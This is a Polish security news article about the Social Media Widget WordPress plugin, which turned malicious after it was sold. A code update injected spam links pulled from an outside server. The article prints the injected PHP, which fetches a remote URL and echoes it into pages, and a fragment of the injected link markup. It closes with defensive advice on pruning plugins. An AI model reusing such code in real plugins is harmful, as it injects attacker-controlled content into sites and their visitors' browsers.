14.04.2013 | 13:10

Adam Haertle

Popularna wtyczka znienacka złośliwa, czyli WordPress i zaufanie

Ilu z Was sprawdza kod źródłowy nowej wersji wtyczki WordPressa przed uruchomieniem aktualizacji? Nie spodziewamy się zobaczyć zbyt wielu rąk w górze. Ostatnie dni pokazują, że możemy mieć dzięki temu do czynienia z realnym ryzykiem infekcji.

Wtyczka Social Media Widget, pomagająca umieścić ikonki i linki do serwisów społecznościowych, należy do 20 najpopularniejszych rozszerzeń WordPressa. Została do tej pory pobrana z jego repozytorium ponad milion razy, lecz należy także do nielicznego grona wtyczek, które ze względów bezpieczeństwa zostały z niego usunięte (choć została później przywrócona). Jakie zagrożenie stanowiła ona dla użytkowników i jak doszło do infekcji?

Zmiana właściciela

Wtyczkę stworzył w maju 2010 i długo utrzymywał Brian Freytag, który w styczniu tego roku postanowił ją sprzedać. Kupcem okazał się Brendan Sheehan, właściciel firmy Blink Web Effects, zajmującej się internetowym marketingiem oraz SEO. Początkowo Sheehan sam wprowadzał zmiany do wtyczki, jednak, nie znając się zbyt dobrze na programowaniu, postanowił zlecić większe zmiany zewnętrznej firmie. To zlecenie okazało się leżeć u źródła problemów wtyczki.

Dziwne zachowanie

Pod koniec marca w repozytorium wtyczek WordPressa pojawiła się aktualizacja wtyczki z wersji 3.3 do 4.0. Dopiero po ok. 10 dniach jej złośliwa funkcjonalność została aktywowana. 9 kwietnia firma Sucuri, specjalizująca się w bezpieczeństwie CMS-ów, zauważyła, że wtyczka w nowej wersji nie zachowuje się standardowo. Na stronach, które się nią posługiwały, zaczęły pokazywać się linki SEO niewiadomego pochodzenia. Za to niestandardowe zachowanie odpowiadał nowy fragment kodu:

471                $smw_url = 'http://i.aaur.net/i.php';
472                if(!function_exists('smw_get')){
473                function smw_get($f) {
474                $response = wp_remote_get( $f );
475                if( is_wp_error( $response ) ) {
476                      function smw_get_body($f) {
477                      $ch = @curl_init();
478                      @curl_setopt($ch, CURLOPT_URL, $f);
479                      @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
480                      $output = @curl_exec($ch);
481                      @curl_close($ch);
482                      return $output;
483                      }
484                      echo smw_get_body($f);
485                } else {
486                      echo $response['body'];
487                }
488                }
489                smw_get($smw_url);
490                }

Kod ten pobierał z zewnętrznego serwera i wstrzykiwał do stron WordPressa reklamy. W przypadku uruchomienia w przeglądarce odwiedzających zarażona witrynę pojawiał się kod

function nemoViewState( ){
 var a=0,m,v,t,z,x=new …
 <p class="nemonn"><a href="http://paydaypam.co.uk/" title="Payday Loan">payday loans

Skuteczność ataku

Jak skuteczny okazał się podstęp? Pokazuje to dobrze wykres z serwisu ahrefs.com.

Popularność linków do paydaypam.co.uk

Popularność linków do paydaypam.co.uk

W ciągu 2 dni serwis „zdobył” ponad pół miliona linków zwrotnych z 17 tysięcy domen. Wtyczka została usunięta z repozytorium WordPressa a firma nią zarządzająca zaczęła szukać winnych zaistniałej sytuacji. Jeśli wierzyć ich wyjaśnieniom, za nieautoryzowane zmiany w kodzie odpowiadał zewnętrzny dostawca, który został wynajęty do stworzenia nowego kodu wtyczki. WordPress wyjaśnienia przyjął i wtyczkę w poprawionej wersji przyjął ponownie pod swoje skrzydła.

Jak uniknąć tego rodzaju zagrożeń

Krótka odpowiedź brzmi „nie da się”. Można oczywiście przestać korzystać z jakichkolwiek wtyczek, ale instalacje WordPressa, które sobie bez nich radzą, można policzyć na palcach jednej ręki. Przenoszenie zweryfikowanego kodu do głównych plików WordPressa tez mija się z celem (problem zacznie się przy aktualizacji), a tworzenie własnych wtyczek (lub wnikliwe czytanie kodu cudzych) jest nad wyraz czasochłonne.

To co można zrobić – i co po zakończeniu lektury tego artykułu każdy administrator WordPressa zrobić powinien – to przejrzeć używane przez siebie wtyczki i wyłączyć, a najlepiej usunąć te, z których nie korzysta. Potem powtórzyć proces jeszcze raz, usuwając wtyczki, z których korzysta, ale w rzeczywistości ich nie potrzebuje. W ten sposób można znacząco zmniejszyć prawdopodobieństwo zostania ofiarą wydarzeń podobnych do opisanych powyżej. Oprócz wtyczek WordPressa, warto także poddać podobnej analizie wszystkie skrypty wczytywane z zewnętrznych serwisów (by nie wywinąć czytelnikom numeru à la Niebezpiecznik).

Trzeba tez nadmienić, że „atak” poprzez umieszczenie w serwisach linków SEO to dość łagodny przypadek. Pod wstrzykiwanym adresem mógł zawsze czaić się Blackhole Exploit Pack lub jedno z wielu innych potencjalnych zagrożeń.

Powrót

Komentarz

  • 2013.04.18 23:26 DMati

    „To co można zrobić – i co po zakończeniu lektury tego artykułu każdy administrator WordPressa zrobić powinien – to przejrzeć używane przez siebie wtyczki i wyłączyć, a najlepiej usunąć te, z których nie korzysta.”

    Wątpię aby admin (nie admin jestem zielony) był tak leniwy, żeby do takich ikonek używać wtyczki :) Zaś admin – jestem początkujący – takiej selekcji nie zrobi bo by musiał powyrzucać dziesiątki wtyczek :P

    WIęc pozostaje zainstalować kolejną – jakiś skaner – sucuri scanner, ninja firewall, antivirus lub 6scan.

    Odpowiedz

Zostaw odpowiedź

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Popularna wtyczka znienacka złośliwa, czyli WordPress i zaufanie

Komentarze